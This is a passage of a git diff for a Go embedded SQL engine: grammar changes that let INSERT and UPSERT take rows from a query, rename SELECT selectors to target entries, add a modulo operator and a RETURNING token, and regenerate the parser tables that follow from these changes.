-%type opt_selectors selectors %type jsonFields %type col %type opt_distinct opt_all -%type ds +%type ds values_or_query %type tableRef %type opt_period %type opt_period_start @@ -140,6 +139,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %type binExp %type opt_groupby %type opt_limit opt_offset +%type opt_targets targets %type opt_max_len %type opt_as %type ordcols opt_orderby @@ -393,14 +393,14 @@ one_or_more_ids: } dmlstmt: - INSERT INTO tableRef '(' opt_ids ')' VALUES rows opt_on_conflict + INSERT INTO tableRef '(' opt_ids ')' values_or_query opt_on_conflict { - $$ = &UpsertIntoStmt{isInsert: true, tableRef: $3, cols: $5, rows: $8, onConflict: $9} + $$ = &UpsertIntoStmt{isInsert: true, tableRef: $3, cols: $5, ds: $7, onConflict: $8} } | - UPSERT INTO tableRef '(' ids ')' VALUES rows + UPSERT INTO tableRef '(' ids ')' values_or_query { - $$ = &UpsertIntoStmt{tableRef: $3, cols: $5, rows: $8} + $$ = &UpsertIntoStmt{tableRef: $3, cols: $5, ds: $7} } | DELETE FROM tableRef opt_where opt_indexon opt_limit opt_offset @@ -413,6 +413,18 @@ dmlstmt: $$ = &UpdateStmt{tableRef: $2, updates: $4, where: $5, indexOn: $6, limit: $7, offset: $8} } +values_or_query: + VALUES rows + { + $$ = &valuesDataSource{rows: $2} + } +| + dqlstmt + { + $$ = $1.(DataSource) + } + + opt_on_conflict: { $$ = nil @@ -681,11 +693,11 @@ dqlstmt: } } -select_stmt: SELECT opt_distinct opt_selectors FROM ds opt_indexon opt_joins opt_where opt_groupby opt_having opt_orderby opt_limit opt_offset +select_stmt: SELECT opt_distinct opt_targets FROM ds opt_indexon opt_joins opt_where opt_groupby opt_having opt_orderby opt_limit opt_offset { $$ = &SelectStmt{ distinct: $2, - selectors: $3, + targets: $3, ds: $5, indexOn: $6, joins: $7, @@ -718,28 +730,26 @@ opt_distinct: $$ = true } -opt_selectors: +opt_targets: '*' { $$ = nil } | - selectors + targets { $$ = $1 } -selectors: - selector opt_as +targets: + exp opt_as { - $1.setAlias($2) - $$ = []Selector{$1} + $$ = []TargetEntry{{Exp: $1, As: $2}} } | - selectors ',' selector opt_as + targets ',' exp opt_as { - $3.setAlias($4) - $$ = append($1, $3) + $$ = append($1, TargetEntry{Exp: $3, As: $4}) } selector: @@ -1137,6 +1147,11 @@ binExp: { $$ = &NumExp{left: $1, op: MULTOP, right: $3} } +| + exp '%' exp + { + $$ = &NumExp{left: $1, op: MODOP, right: $3} + } | exp LOP exp { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index ec706c2cf8..ac6c63176e 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -32,7 +32,7 @@ type yySymType struct { ids []string col *ColSelector sel Selector - sels []Selector + targets []TargetEntry jsonFields []string distinct bool ds DataSource @@ -111,53 +111,54 @@ const SET = 57393 const CONFLICT = 57394 const DO = 57395 const NOTHING = 57396 -const SELECT = 57397 -const DISTINCT = 57398 -const FROM = 57399 -const JOIN = 57400 -const HAVING = 57401 -const WHERE = 57402 -const GROUP = 57403 -const BY = 57404 -const LIMIT = 57405 -const OFFSET = 57406 -const ORDER = 57407 -const ASC = 57408 -const DESC = 57409 -const AS = 57410 -const UNION = 57411 -const ALL = 57412 -const NOT = 57413 -const LIKE = 57414 -const IF = 57415 -const EXISTS = 57416 -const IN = 57417 -const IS = 57418 -const AUTO_INCREMENT = 57419 -const NULL = 57420 -const CAST = 57421 -const SCAST = 57422 -const SHOW = 57423 -const DATABASES = 57424 -const TABLES = 57425 -const USERS = 57426 -const NPARAM = 57427 -const PPARAM = 57428 -const JOINTYPE = 57429 -const LOP = 57430 -const CMPOP = 57431 -const IDENTIFIER = 57432 -const TYPE = 57433 -const INTEGER = 57434 -const FLOAT = 57435 -const VARCHAR = 57436 -const BOOLEAN = 57437 -const BLOB = 57438 -const AGGREGATE_FUNC = 57439 -const ERROR = 57440 -const DOT = 57441 -const ARROW = 57442 -const STMT_SEPARATOR = 57443 +const RETURNING = 57397 +const SELECT = 57398 +const DISTINCT = 57399 +const FROM = 57400 +const JOIN = 57401 +const HAVING = 57402 +const WHERE = 57403 +const GROUP = 57404 +const BY = 57405 +const LIMIT = 57406 +const OFFSET = 57407 +const ORDER = 57408 +const ASC = 57409 +const DESC = 57410 +const AS = 57411 +const UNION = 57412 +const ALL = 57413 +const NOT = 57414 +const LIKE = 57415 +const IF = 57416 +const EXISTS = 57417 +const IN = 57418 +const IS = 57419 +const AUTO_INCREMENT = 57420 +const NULL = 57421 +const CAST = 57422 +const SCAST = 57423 +const SHOW = 57424 +const DATABASES = 57425 +const TABLES = 57426 +const USERS = 57427 +const NPARAM = 57428 +const PPARAM = 57429 +const JOINTYPE = 57430 +const LOP = 57431 +const CMPOP = 57432 +const IDENTIFIER = 57433 +const TYPE = 57434 +const INTEGER = 57435 +const FLOAT = 57436 +const VARCHAR = 57437 +const BOOLEAN = 57438 +const BLOB = 57439 +const AGGREGATE_FUNC = 57440 +const ERROR = 57441 +const DOT = 57442 +const ARROW = 57443 +const STMT_SEPARATOR = 57444 var yyToknames = [...]string{ "$end", @@ -214,6 +215,7 @@ var yyToknames = [...]string{ "CONFLICT", "DO", "NOTHING", + "RETURNING", "SELECT", "DISTINCT", "FROM", @@ -265,6 +267,7 @@ var yyToknames = [...]string{ "'-'", "'*'", "'/'", + "'%'", "'.'", "STMT_SEPARATOR", "'('", @@ -283,153 +286,156 @@ var yyExca = [...]int16{ -1, 1, 1, -1, -2, 0, - -1, 112, - 72, 182, - 75, 182, - -2, 170, - -1, 260, - 58, 143, - -2, 138, - -1, 303, - 58, 143, + -1, 97, + 73, 184, + 76, 184, + -2, 172, + -1, 262, + 59, 145, -2, 140, + -1, 307, + 59, 145, + -2, 142, } const yyPrivate = 57344 -const yyLast = 512 +const yyLast = 547 var yyAct = [...]int16{ - 111, 408, 117, 97, 296, 197, 254, 152, 313, 330, - 334, 126, 203, 194, 239, 302, 329, 240, 6, 143, - 71, 220, 277, 374, 146, 319, 110, 318, 22, 252, - 287, 252, 109, 252, 252, 252, 395, 379, 357, 355, - 378, 320, 288, 253, 114, 208, 375, 116, 367, 358, - 356, 129, 125, 335, 21, 345, 312, 310, 127, 128, - 173, 309, 307, 130, 96, 120, 121, 122, 123, 124, - 98, 336, 171, 172, 286, 284, 115, 114, 272, 271, - 116, 119, 24, 251, 129, 125, 167, 168, 170, 169, - 331, 127, 128, 237, 283, 276, 130, 182, 120, 121, - 122, 123, 124, 98, 206, 207, 209, 131, 148, 115, - 114, 166, 211, 116, 119, 177, 178, 129, 125, 158, - 180, 267, 266, 265, 127, 128, 264, 222, 182, 130, - 205, 120, 121, 122, 123, 124, 98, 183, 181, 179, - 164, 165, 115, 160, 157, 199, 142, 119, 141, 144, - 407, 173, 361, 99, 212, 400, 196, 173, 360, 287, - 98, 217, 210, 171, 172, 200, 173, 94, 225, 226, - 227, 228, 229, 230, 99, 273, 396, 167, 168, 170, - 169, 252, 238, 241, 151, 170, 169, 173, 216, 83, - 201, 214, 167, 168, 170, 169, 156, 242, 236, 171, - 172, 158, 133, 259, 270, 354, 257, 243, 248, 260, - 99, 285, 369, 167, 168, 170, 169, 98, 268, 173, - 269, 224, 215, 353, 262, 261, 258, 360, 154, 324, - 32, 171, 172, 274, 282, 316, 275, 33, 315, 173, - 235, 99, 76, 195, 349, 167, 168, 170, 169, 173, - 153, 171, 172, 305, 342, 328, 298, 327, 326, 311, - 294, 147, 172, 202, 300, 167, 168, 170, 169, 306, - 247, 290, 246, 245, 244, 167, 168, 170, 169, 221, - 223, 218, 213, 192, 241, 191, 184, 161, 325, 149, - 321, 132, 102, 221, 100, 314, 91, 54, 333, 80, - 79, 323, 322, 78, 75, 337, 77, 70, 69, 39, - 22, 263, 332, 31, 373, 341, 348, 343, 344, 339, - 346, 338, 10, 12, 11, 49, 281, 352, 58, 176, - 232, 372, 241, 173, 351, 159, 21, 231, 175, 233, - 101, 65, 234, 60, 90, 13, 362, 55, 409, 410, - 363, 22, 210, 366, 14, 15, 390, 297, 255, 7, - 399, 8, 9, 16, 17, 382, 144, 18, 19, 64, - 376, 387, 383, 22, 365, 384, 381, 21, 386, 385, - 340, 150, 391, 43, 47, 52, 393, 56, 57, 59, - 62, 204, 397, 139, 388, 401, 398, 66, 67, 21, - 377, 88, 405, 403, 406, 402, 48, 295, 293, 51, - 411, 53, 50, 412, 25, 82, 92, 316, 370, 347, - 315, 368, 188, 189, 44, 186, 187, 185, 46, 45, - 136, 289, 250, 249, 42, 36, 394, 299, 104, 26, - 30, 162, 85, 86, 87, 103, 84, 81, 256, 40, - 34, 68, 35, 134, 135, 27, 29, 28, 2, 38, - 308, 108, 107, 73, 74, 278, 279, 280, 190, 163, - 137, 105, 292, 291, 37, 140, 138, 198, 23, 41, - 359, 145, 174, 63, 350, 371, 389, 404, 317, 364, - 113, 112, 380, 304, 303, 301, 106, 72, 89, 61, - 155, 95, 93, 118, 392, 193, 219, 20, 5, 4, - 3, 1, + 129, 411, 102, 105, 300, 151, 256, 321, 197, 339, + 336, 113, 203, 234, 239, 306, 6, 235, 194, 142, + 295, 71, 286, 145, 378, 327, 22, 326, 254, 254, + 281, 254, 254, 399, 340, 254, 127, 383, 363, 353, + 328, 290, 99, 128, 255, 101, 382, 379, 371, 116, + 112, 354, 21, 341, 24, 352, 114, 115, 159, 350, + 316, 117, 96, 107, 108, 109, 110, 111, 106, 314, + 157, 158, 313, 311, 100, 280, 278, 277, 275, 253, + 104, 337, 285, 174, 152, 153, 155, 154, 156, 274, + 173, 143, 227, 173, 269, 99, 268, 267, 101, 266, + 165, 166, 116, 112, 161, 168, 147, 241, 183, 114, + 115, 130, 159, 176, 117, 172, 107, 108, 109, 110, + 111, 106, 171, 167, 157, 158, 160, 100, 141, 182, + 140, 232, 201, 104, 410, 403, 208, 228, 152, 153, + 155, 154, 156, 365, 199, 230, 282, 281, 254, 150, + 83, 212, 159, 213, 214, 215, 216, 217, 218, 219, + 196, 210, 180, 181, 200, 159, 170, 174, 132, 232, + 76, 276, 250, 233, 236, 231, 106, 157, 158, 243, + 155, 154, 156, 319, 226, 229, 362, 361, 161, 283, + 400, 152, 153, 155, 154, 156, 206, 207, 209, 32, + 245, 225, 244, 261, 211, 324, 33, 232, 323, 259, + 160, 195, 262, 357, 347, 332, 270, 331, 271, 330, + 315, 298, 264, 205, 273, 260, 263, 146, 249, 99, + 248, 247, 101, 246, 240, 77, 116, 112, 242, 237, + 222, 192, 191, 114, 115, 184, 177, 148, 117, 131, + 107, 108, 109, 110, 111, 106, 120, 118, 302, 91, + 284, 100, 94, 54, 240, 80, 304, 104, 79, 310, + 297, 78, 297, 292, 75, 236, 299, 70, 69, 202, + 22, 309, 320, 31, 164, 39, 159, 296, 376, 360, + 377, 317, 318, 163, 272, 22, 359, 322, 157, 158, + 159, 49, 338, 265, 329, 159, 21, 159, 175, 342, + 65, 373, 152, 153, 155, 154, 156, 346, 158, 348, + 349, 21, 351, 344, 356, 343, 152, 153, 155, 154, + 156, 152, 153, 155, 154, 156, 119, 90, 236, 221, + 99, 55, 223, 101, 22, 224, 220, 116, 112, 412, + 413, 366, 394, 257, 114, 115, 301, 210, 370, 117, + 367, 107, 108, 109, 110, 111, 106, 64, 402, 138, + 21, 386, 100, 58, 369, 391, 381, 388, 104, 387, + 143, 390, 389, 279, 385, 345, 395, 149, 60, 52, + 397, 159, 62, 392, 204, 66, 67, 159, 380, 404, + 401, 364, 88, 157, 158, 408, 406, 409, 405, 157, + 158, 51, 50, 414, 53, 25, 415, 152, 153, 155, + 154, 156, 82, 152, 153, 155, 154, 156, 10, 12, + 11, 43, 47, 56, 57, 59, 122, 92, 324, 374, + 355, 323, 372, 188, 189, 85, 86, 87, 186, 187, + 185, 13, 291, 252, 48, 135, 251, 398, 334, 303, + 14, 15, 178, 121, 84, 7, 81, 8, 9, 16, + 17, 36, 44, 18, 19, 38, 46, 45, 133, 134, + 22, 258, 68, 42, 26, 30, 34, 2, 35, 312, + 37, 126, 125, 190, 73, 74, 179, 136, 40, 123, + 27, 29, 28, 287, 288, 289, 21, 294, 293, 139, + 137, 198, 63, 23, 41, 333, 144, 162, 358, 375, + 393, 407, 325, 95, 93, 368, 98, 97, 384, 308, + 307, 305, 124, 72, 89, 61, 169, 103, 335, 396, + 193, 238, 20, 5, 4, 3, 1, } var yyPact = [...]int16{ - 318, -1000, -1000, -25, -1000, -1000, -1000, 372, -1000, -1000, - 432, 223, 427, 451, 379, 379, 365, 362, 328, 207, - 278, 305, 334, -1000, 318, -1000, 268, 268, 268, 426, - 218, -1000, 217, 447, 214, 216, 213, 210, 209, 421, - 375, 88, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 420, - 207, 207, 207, 350, -1000, 274, -1000, -1000, 206, -1000, - 377, 63, -1000, -1000, 204, 269, 202, 419, 268, 462, - -1000, -1000, 443, 6, 6, -1000, 201, 103, -1000, 425, - 461, 469, -1000, 379, 468, 40, 38, 306, 171, 255, - -1000, -1000, 199, 324, -1000, 83, 160, 96, 36, 102, - -1000, 261, 35, 197, 415, 459, -1000, 6, 6, -1000, - 39, 163, 258, -1000, 39, 39, 31, -1000, -1000, 39, - -1000, -1000, -1000, -1000, -1000, 30, -1000, -1000, -1000, -1000, - 20, -1000, 29, 196, 396, 395, 391, 458, 195, -1000, - 193, 153, 153, 471, 39, 89, -1000, 174, -1000, -1000, - 22, 120, -1000, -1000, 192, 91, 128, 84, 191, -1000, - 189, 19, 190, 127, -1000, -1000, 163, 39, 39, 39, - 39, 39, 39, 259, 267, 149, -1000, 173, 81, 255, - -16, 39, 39, 153, -1000, 189, 184, 183, 182, 180, - 114, 403, 402, -26, 80, -1000, -66, 295, 423, 163, - 471, 171, 39, 471, 447, 296, 18, 15, 14, 13, - 160, -11, 160, -1000, 110, -1000, -30, -31, -1000, 74, - -1000, 142, 153, -13, 454, 81, 81, 257, 257, 173, - 90, -1000, 248, 39, -14, -1000, -34, -1000, 143, -35, - 58, 163, -67, -1000, -1000, 401, -1000, -1000, 454, 465, - 464, 360, 170, 359, 293, 39, 411, 295, -1000, 163, - 166, 160, -47, 439, -48, -52, 169, -53, -1000, -1000, - -1000, -1000, -1000, 203, -83, -68, 153, -1000, -1000, -1000, - -1000, -1000, 173, -27, -1000, 138, -1000, 39, -1000, 168, - -1000, 167, 165, -18, -1000, -18, -1000, 39, 163, -37, - 293, 306, -1000, 166, 322, -1000, -1000, 160, 164, 160, - 160, -54, 160, 386, -1000, 39, 154, 256, 131, 113, - -1000, -70, -59, -71, -60, 163, -1000, -1000, -1000, 126, - -1000, 39, 57, 163, -1000, -1000, 153, -1000, 313, -1000, - 22, -1000, -61, -1000, -1000, -1000, -1000, 387, 111, 383, - 254, -1000, 236, -88, -63, -1000, -1000, -1000, -1000, -1000, - -18, 348, -69, -72, 317, 303, 471, 160, -37, 385, - 39, -1000, -1000, -1000, -1000, -1000, -1000, 341, -1000, -1000, - 291, 39, 151, 410, -1000, -73, -1000, 75, 338, 295, - 298, 163, 54, -1000, 39, -1000, 385, -1000, 293, 120, - 151, 163, -1000, -1000, 49, 282, -1000, 120, -1000, -1000, - -1000, 282, -1000, + 424, -1000, -1000, -55, -1000, -1000, -1000, 373, -1000, -1000, + 477, 192, 463, 467, 427, 427, 365, 364, 331, 172, + 271, 350, 335, -1000, 424, -1000, 236, 236, 236, 457, + 187, -1000, 186, 478, 183, 144, 180, 177, 174, 440, + 382, 48, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 438, + 172, 172, 172, 351, -1000, 266, -1000, -1000, 168, -1000, + 398, 157, -1000, -1000, 166, 264, 165, 437, 236, 490, + -1000, -1000, 473, 23, 23, -1000, 158, 68, -1000, 450, + 488, 503, -1000, 427, 502, 20, 18, 319, 136, 224, + -1000, -1000, 156, 329, -1000, 47, 35, 212, -1000, 268, + 268, 13, -1000, -1000, 268, 65, 12, -1000, -1000, -1000, + -1000, -1000, 5, -1000, -1000, -1000, -1000, -17, -1000, 233, + 3, 155, 436, 486, -1000, 23, 23, -1000, 268, 320, + -1000, -2, 154, 419, 418, 412, 483, 151, -1000, 150, + 120, 120, 505, 268, 30, -1000, 189, -1000, -1000, 113, + 268, -1000, 268, 268, 268, 268, 268, 268, 268, 267, + -1000, 149, 269, 109, -1000, 228, 75, 224, -19, 36, + 90, 40, 268, 268, 148, -1000, 143, -3, 147, 84, + -1000, -1000, 320, 120, -1000, 143, 142, 140, 139, 137, + 77, 426, 423, -32, 46, -1000, -67, 289, 456, 320, + 505, 136, 268, 505, 478, 288, -11, -13, -14, -16, + 119, -20, 35, 75, 75, 230, 230, 230, 228, 223, + -1000, 215, -1000, 268, -21, -1000, -33, -1000, 76, -1000, + -34, -35, 67, 314, -36, 45, 320, -1000, 44, -1000, + 97, 120, -28, 492, -70, -1000, -1000, 422, -1000, -1000, + 492, 500, 499, 239, 130, 239, 291, 268, 433, 289, + -1000, 320, 193, 119, -38, 468, -39, -42, 129, -51, + -1000, -1000, -1000, 228, -30, -1000, -1000, -1000, -1000, 91, + -1000, 268, 173, -85, -71, 120, -1000, -1000, -1000, -1000, + -1000, 128, -1000, 126, 124, 432, -29, -1000, -1000, -1000, + -1000, 268, 320, -57, 291, 319, -1000, 193, 326, -1000, + -1000, 119, 123, 119, 119, -52, 119, -56, -72, -60, + 320, 407, -1000, 268, 122, 217, 94, 93, -1000, -73, + -1000, -1000, -1000, -1000, 349, 41, -1000, 268, 320, -1000, + -1000, 120, -1000, 312, -1000, 113, -1000, -63, -1000, -1000, + -1000, -1000, -1000, -1000, -1000, 408, 209, 404, 210, -1000, + 211, -89, -64, -1000, 345, -29, -65, -74, 324, 308, + 505, 119, -57, 406, 268, -1000, -1000, -1000, -1000, -1000, + 339, -1000, -1000, -1000, 286, 268, 116, 431, -1000, -78, + -1000, 88, -1000, 289, 305, 320, 33, -1000, 268, -1000, + 406, 291, 78, 116, 320, -1000, -1000, 32, 282, -1000, + 78, -1000, -1000, -1000, 282, -1000, } var yyPgo = [...]int16{ - 0, 511, 458, 510, 509, 508, 18, 507, 506, 21, - 13, 10, 505, 504, 16, 9, 17, 14, 503, 11, - 2, 502, 501, 500, 3, 499, 498, 12, 391, 20, - 497, 496, 32, 495, 15, 494, 493, 8, 0, 19, - 492, 491, 490, 489, 6, 4, 488, 7, 487, 486, - 1, 5, 369, 485, 484, 482, 24, 481, 480, 22, - 479, 309, 478, + 0, 546, 487, 545, 544, 543, 16, 542, 541, 14, + 18, 9, 540, 539, 538, 10, 17, 13, 537, 11, + 2, 536, 3, 535, 534, 12, 20, 394, 21, 533, + 532, 36, 531, 15, 530, 529, 7, 0, 19, 528, + 527, 526, 525, 6, 4, 524, 523, 522, 5, 521, + 520, 1, 8, 367, 519, 518, 517, 23, 516, 515, + 22, 514, 285, 513, } var yyR1 = [...]int8{ - 0, 1, 2, 2, 62, 62, 3, 3, 3, 4, + 0, 1, 2, 2, 63, 63, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 4, 4, 4, 61, 61, 61, 60, 60, 60, 60, - 60, 60, 60, 59, 59, 59, 59, 52, 52, 11, - 11, 5, 5, 5, 5, 58, 58, 57, 57, 56, - 12, 12, 14, 14, 15, 10, 10, 13, 13, 17, - 17, 16, 16, 18, 18, 18, 18, 18, 18, 18, - 18, 18, 18, 19, 8, 8, 9, 46, 46, 46, - 53, 53, 54, 54, 54, 6, 6, 6, 6, 6, - 6, 6, 6, 7, 26, 26, 25, 25, 21, 21, - 22, 22, 20, 20, 20, 20, 23, 23, 24, 24, - 27, 27, 27, 27, 27, 27, 27, 27, 28, 29, - 30, 30, 30, 31, 31, 31, 32, 32, 33, 33, - 34, 34, 35, 36, 36, 39, 39, 43, 43, 40, - 40, 44, 44, 45, 45, 49, 49, 51, 51, 48, - 48, 50, 50, 50, 47, 47, 47, 37, 37, 37, - 38, 38, 38, 38, 38, 38, 38, 38, 41, 41, - 41, 41, 55, 55, 42, 42, 42, 42, 42, 42, - 42, 42, + 4, 4, 4, 62, 62, 62, 61, 61, 61, 61, + 61, 61, 61, 60, 60, 60, 60, 53, 53, 11, + 11, 5, 5, 5, 5, 26, 26, 59, 59, 58, + 58, 57, 12, 12, 14, 14, 15, 10, 10, 13, + 13, 17, 17, 16, 16, 18, 18, 18, 18, 18, + 18, 18, 18, 18, 18, 19, 8, 8, 9, 47, + 47, 47, 54, 54, 55, 55, 55, 6, 6, 6, + 6, 6, 6, 6, 6, 7, 24, 24, 23, 23, + 45, 45, 46, 46, 20, 20, 20, 20, 21, 21, + 22, 22, 25, 25, 25, 25, 25, 25, 25, 25, + 27, 28, 29, 29, 29, 30, 30, 30, 31, 31, + 32, 32, 33, 33, 34, 35, 35, 38, 38, 42, + 42, 39, 39, 43, 43, 44, 44, 50, 50, 52, + 52, 49, 49, 51, 51, 51, 48, 48, 48, 36, + 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, + 40, 40, 40, 40, 56, 56, 41, 41, 41, 41, + 41, 41, 41, 41, 41, } var yyR2 = [...]int8{ @@ -438,124 +444,124 @@ var yyR2 = [...]int8{ 9, 7, 5, 6, 6, 8, 6, 6, 7, 7, 3, 8, 8, 2, 1, 3, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 3, 1, - 3, 9, 8, 7, 8, 0, 4, 1, 3, 3, - 0, 1, 1, 3, 3, 1, 3, 1, 3, 0, - 1, 1, 3, 1, 1, 1, 1, 1, 6, 1, - 1, 1, 1, 4, 1, 3, 5, 0, 3, 3, - 0, 1, 0, 1, 2, 1, 4, 2, 2, 3, - 2, 2, 4, 13, 0, 1, 0, 1, 1, 1, - 2, 4, 1, 2, 4, 4, 2, 3, 1, 3, - 3, 4, 4, 4, 4, 4, 2, 6, 1, 2, - 0, 2, 2, 0, 2, 2, 2, 1, 0, 1, - 1, 2, 6, 0, 1, 0, 2, 0, 3, 0, - 2, 0, 2, 0, 2, 0, 3, 0, 4, 2, - 4, 0, 1, 1, 0, 1, 2, 0, 4, 6, - 1, 1, 2, 2, 4, 4, 6, 6, 1, 1, - 3, 3, 0, 1, 3, 3, 3, 3, 3, 3, - 3, 4, + 3, 8, 7, 7, 8, 2, 1, 0, 4, 1, + 3, 3, 0, 1, 1, 3, 3, 1, 3, 1, + 3, 0, 1, 1, 3, 1, 1, 1, 1, 1, + 6, 1, 1, 1, 1, 4, 1, 3, 5, 0, + 3, 3, 0, 1, 0, 1, 2, 1, 4, 2, + 2, 3, 2, 2, 4, 13, 0, 1, 0, 1, + 1, 1, 2, 4, 1, 2, 4, 4, 2, 3, + 1, 3, 3, 4, 4, 4, 4, 4, 2, 6, + 1, 2, 0, 2, 2, 0, 2, 2, 2, 1, + 0, 1, 1, 2, 6, 0, 1, 0, 2, 0, + 3, 0, 2, 0, 2, 0, 2, 0, 3, 0, + 4, 2, 4, 0, 1, 1, 0, 1, 2, 0, + 4, 6, 1, 1, 2, 2, 4, 4, 6, 6, + 1, 1, 3, 3, 0, 1, 3, 3, 3, 3, + 3, 3, 3, 3, 4, } var yyChk = [...]int16{ -1000, -1, -2, -3, -4, -5, -6, 41, 43, 44, 4, 6, 5, 27, 36, 37, 45, 46, 49, 50, - -7, 81, 55, -62, 107, 42, 7, 23, 25, 24, - 8, 90, 7, 14, 23, 25, 8, 23, 8, -61, - 70, -60, 55, 4, 45, 50, 49, 5, 27, -61, - 47, 47, 57, -28, 90, 69, 82, 83, 23, 84, - 38, -25, 56, -2, -52, 73, -52, -52, 25, 90, - 90, -29, -30, 16, 17, 90, 26, 90, 90, 90, - 90, 26, 40, 101, 26, -28, -28, -28, 51, -26, - 70, 90, 39, -21, 104, -22, -20, -24, 97, 90, - 90, 71, 90, 26, -52, 9, -31, 19, 18, -32, - 20, -38, -41, -42, 71, 103, 74, -20, -18, 108, - 92, 93, 94, 95, 96, 79, -19, 85, 86, 78, - 90, -32, 90, 99, 28, 29, 5, 9, 7, -61, - 7, 108, 108, -39, 60, -57, -56, 90, -6, 90, - 57, 101, -47, 90, 68, -23, 100, 108, 99, 74, - 108, 90, 26, 10, -32, -32, -38, 102, 103, 105, - 104, 88, 89, 76, -55, 80, 71, -38, -38, 108, - -38, 108, 108, 108, 90, 31, 30, 31, 31, 32, - 10, 90, 90, -12, -10, 90, -10, -51, 6, -38, - -39, 101, 89, -27, -28, 108, 82, 83, 23, 84, - -19, 90, -20, 90, 100, 94, 104, -24, 90, -8, - -9, 90, 108, 90, 94, -38, -38, -38, -38, -38, - -38, 78, 71, 72, 75, 91, -6, 109, -38, -17, - -16, -38, -10, -9, 90, 90, 90, 90, 94, 30, - 30, 109, 101, 109, -44, 63, 25, -51, -56, -38, - -51, -29, -6, 15, 108, 108, 108, 108, -47, -47, - 94, 109, 109, 101, 91, -10, 108, -59, 11, 12, - 13, 78, -38, 108, 109, 68, 109, 101, 109, 30, - -59, 8, 8, 48, 90, 48, -45, 64, -38, 26, - -44, -33, -34, -35, -36, 87, -47, 109, 21, 109, - 109, 90, 109, -37, -9, 35, 32, -46, 110, 108, - 109, -10, -6, -16, 91, -38, 90, 90, 90, -14, - -15, 108, -14, -38, -11, 90, 108, -45, -39, -34, - 58, -47, 90, -47, -47, 109, -47, 33, -38, 90, - -54, 78, 71, 92, 92, 109, 109, 109, 109, -58, - 101, 26, -17, -10, -43, 61, -27, 109, 34, 101, - 35, -53, 77, 78, 111, 109, -15, 52, 109, 109, - -40, 59, 62, -51, -47, -11, -37, -38, 53, -49, - 65, -38, -13, -24, 26, 109, 101, 54, -44, 62, - 101, -38, -37, -45, -48, -20, -24, 101, -50, 66, - 67, -20, -50, + -7, 82, 56, -63, 109, 42, 7, 23, 25, 24, + 8, 91, 7, 14, 23, 25, 8, 23, 8, -62, + 71, -61, 56, 4, 45, 50, 49, 5, 27, -62, + 47, 47, 58, -27, 91, 70, 83, 84, 23, 85, + 38, -23, 57, -2, -53, 74, -53, -53, 25, 91, + 91, -28, -29, 16, 17, 91, 26, 91, 91, 91, + 91, 26, 40, 102, 26, -27, -27, -27, 51, -24, + 71, 91, 39, -45, 105, -46, -37, -40, -41, 72, + 104, 75, -20, -18, 110, -22, 98, 93, 94, 95, + 96, 97, 80, -19, 86, 87, 79, 91, 91, 72, + 91, 26, -53, 9, -30, 19, 18, -31, 20, -37, + -31, 91, 100, 28, 29, 5, 9, 7, -62, 7, + 110, 110, -38, 61, -58, -57, 91, -6, 91, 58, + 102, -48, 103, 104, 106, 105, 107, 89, 90, 77, + 91, 69, -56, 81, 72, -37, -37, 110, -37, -21, + 101, 110, 110, 110, 100, 75, 110, 91, 26, 10, + -31, -31, -37, 110, 91, 31, 30, 31, 31, 32, + 10, 91, 91, -12, -10, 91, -10, -52, 6, -37, + -38, 102, 90, -25, -27, 110, 83, 84, 23, 85, + -19, 91, -37, -37, -37, -37, -37, -37, -37, -37, + 79, 72, 91, 73, 76, 92, -6, 111, 101, 95, + 105, -22, 91, -37, -17, -16, -37, 91, -8, -9, + 91, 110, 91, 95, -10, -9, 91, 91, 91, 91, + 95, 30, 30, 111, 102, 111, -43, 64, 25, -52, + -57, -37, -52, -28, -6, 15, 110, 110, 110, 110, + -48, -48, 79, -37, 110, 111, 95, 111, 111, 69, + 111, 102, 102, 92, -10, 110, -60, 11, 12, 13, + 111, 30, -60, 8, 8, -26, 48, -6, 91, -26, + -44, 65, -37, 26, -43, -32, -33, -34, -35, 88, + -48, 111, 21, 111, 111, 91, 111, -6, -16, 92, + -37, -36, -9, 35, 32, -47, 112, 110, 111, -10, + 91, 91, 91, -59, 26, -14, -15, 110, -37, -11, + 91, 110, -44, -38, -33, 59, -48, 91, -48, -48, + 111, -48, 111, 111, 111, 33, -37, 91, -55, 79, + 72, 93, 93, 111, 52, 102, -17, -10, -42, 62, + -25, 111, 34, 102, 35, -54, 78, 79, 113, 111, + 53, -15, 111, 111, -39, 60, 63, -52, -48, -11, + -36, -37, 54, -50, 66, -37, -13, -22, 26, 111, + 102, -43, 63, 102, -37, -36, -44, -49, -20, -22, + 102, -51, 67, 68, -20, -51, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 95, 0, 106, 2, 5, 9, 47, 47, 47, 0, - 0, 14, 0, 130, 0, 0, 0, 0, 0, 0, + 97, 0, 108, 2, 5, 9, 47, 47, 47, 0, + 0, 14, 0, 132, 0, 0, 0, 0, 0, 0, 0, 34, 36, 37, 38, 39, 40, 41, 42, 0, - 0, 0, 0, 0, 128, 104, 97, 98, 0, 100, - 101, 0, 107, 3, 0, 0, 0, 0, 47, 0, - 15, 16, 133, 0, 0, 18, 0, 0, 30, 0, - 0, 0, 33, 0, 0, 0, 0, 145, 0, 0, - 105, 99, 0, 0, 108, 109, 164, 112, 0, 118, - 13, 0, 0, 0, 0, 0, 129, 0, 0, 131, - 0, 137, -2, 171, 0, 0, 0, 178, 179, 0, - 73, 74, 75, 76, 77, 0, 79, 80, 81, 82, - 118, 132, 0, 0, 0, 0, 0, 0, 0, 35, - 0, 60, 0, 157, 0, 145, 57, 0, 96, 102, - 0, 0, 110, 165, 0, 113, 0, 0, 0, 48, - 0, 0, 0, 0, 134, 135, 136, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 183, 172, 173, 0, - 0, 0, 69, 0, 22, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 61, 65, 0, 151, 0, 146, - 157, 0, 0, 157, 130, 0, 0, 0, 0, 0, - 164, 128, 164, 166, 0, 116, 0, 0, 119, 0, - 84, 0, 0, 0, 43, 184, 185, 186, 187, 188, - 189, 190, 